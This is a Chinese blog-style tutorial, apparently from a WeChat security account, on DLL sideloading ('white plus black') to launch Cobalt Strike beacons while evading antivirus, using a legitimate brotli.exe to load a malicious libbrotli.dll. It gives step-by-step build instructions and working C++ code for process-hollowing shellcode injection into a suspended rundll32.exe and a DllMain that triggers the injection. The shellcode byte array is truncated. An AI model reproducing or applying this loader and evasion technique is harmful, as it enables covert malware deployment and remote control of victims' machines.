【文末获取】3分钟带你学会白加黑上线CS通杀主流杀软

现在只对常读和星标的公众号才展示大图推送，建议大家能把星落安全团队“设为星标”，否则可能就看不到了啦！

背景介绍

有些师傅还不太了解“白加黑”，用一句话概括就是通过正常应用的exe程序去加载我们制作的恶意的dll，来执行shellcode代码，从而实现上线cobaltstrike。

DLL相关知识

为什么能够劫持DLL？

因为dll默认搜索路径（优先级）

调用进程的可执行文件所在的目录->系统目录->16 位系统目录->Windows 目录->当前工作目录->环境变量 PATH 指定的目录

只需要把恶意dll文件放在调用进程的可执行文件所在的目录即可优先调用我们的恶意dll文件。

推荐工具(无脑操作)：

ZeroEye 自动挖掘白程序工具
AheadLib dll的相关函数导出

制作教程

首先使用ZeroEye挖掘白程序，没有证书的白程序也可以完成上线cs操作。

然后进行bin->x64目录中，寻找一个合适的白程序以及适合制作黑DLL的DLL文件，注意：一定要选择和程序相关的DLL，不要用系统中的DLL文件，因为这些DLL文件已经被杀软拉黑了。这里选择了brotli.exe程序。

然后使用AheadLib导出dll的相关函数，选择libbrotli.dll,然后点击"Makefile"按钮，即可在dll目录生成两个文件分别为libbrotli.cpp和libbrotli_jump.asm。

然后使用visualstudio2022制作动态链接库DLL，名字为DLL文件名称。

然后将libbrotli.cpp内容复制到dllmain.cpp中，然后点击源文件添加现有项将libbrotli_jump.asm复制到目录中，并把此文件添加到源文件中。

然后根据libbrotli_jump.asm进行操作。

然后在dllmian中将第一个红框代码取消注释，将第二个红框代码注释掉，第三个红框的地方修改为任意名字，同样也要将原来的libbrotli.dll修改为你修改的名字。我这里将libbrotli.dll修改为了ApiHelp.dll，然后vs2022生成的dll名字为libbrotli.dll。

然后这里修改为白程序的名称，我这里为broli.exe

cs上线代码采用了零攻防生吃香菜师傅的傀儡进程注入代码，在此基础上做了些许更改。

InjectShellcode函数代码：

unsigned char killraw[] = "xfcx48x83xe4xf0xe8xc8x00x00x00x41";BOOL InjectShellcode(BYTE* shellcode, SIZE_T shellcodeSize) {  DWORD nFileSize = shellcodeSize;       LPVOID ScAddress = shellcode;    PROCESS_INFORMATION ProcessInformation;      STARTUPINFOA StartupInfo;  void* v24;  CONTEXT Context;  SIZE_T DwWrite = 0;  ZeroMemory(&StartupInfo, sizeof(StartupInfo));  StartupInfo.cb = sizeof(StartupInfo);  BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | CREATE_NO_WINDOW, 0, 0, &StartupInfo, &ProcessInformation);  if (result) {    Context.ContextFlags = CONTEXT_CONTROL;    GetThreadContext(ProcessInformation.hThread, &Context);         v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, nFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);      WriteProcessMemory(ProcessInformation.hProcess, v24, ScAddress, nFileSize, &DwWrite);    Context.Rip = (DWORD64)v24;          SetThreadContext(ProcessInformation.hThread, &Context);    ResumeThread(ProcessInformation.hThread);        CloseHandle(ProcessInformation.hThread);    CloseHandle(ProcessInformation.hProcess);  }  TerminateProcess(GetCurrentProcess(), 0);  return TRUE;}

DllMain代码：

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){  if (dwReason == DLL_PROCESS_ATTACH)  {    DisableThreadLibraryCalls(hModule);    if (Load() && Init())    {      TCHAR szAppName[MAX_PATH] = TEXT("brotli.exe");//请修改宿主进程名      TCHAR szCurName[MAX_PATH];      GetModuleFileName(NULL, szCurName, MAX_PATH);      PathStripPath(szCurName);      //是否判断宿主进程名      if (StrCmpI(szCurName, szAppName) == 0)      {        InjectShellcode(killraw, sizeof(killraw));      }    }  }  else if (dwReason == DLL_PROCESS_DETACH)  {    Free();  }  return TRUE;}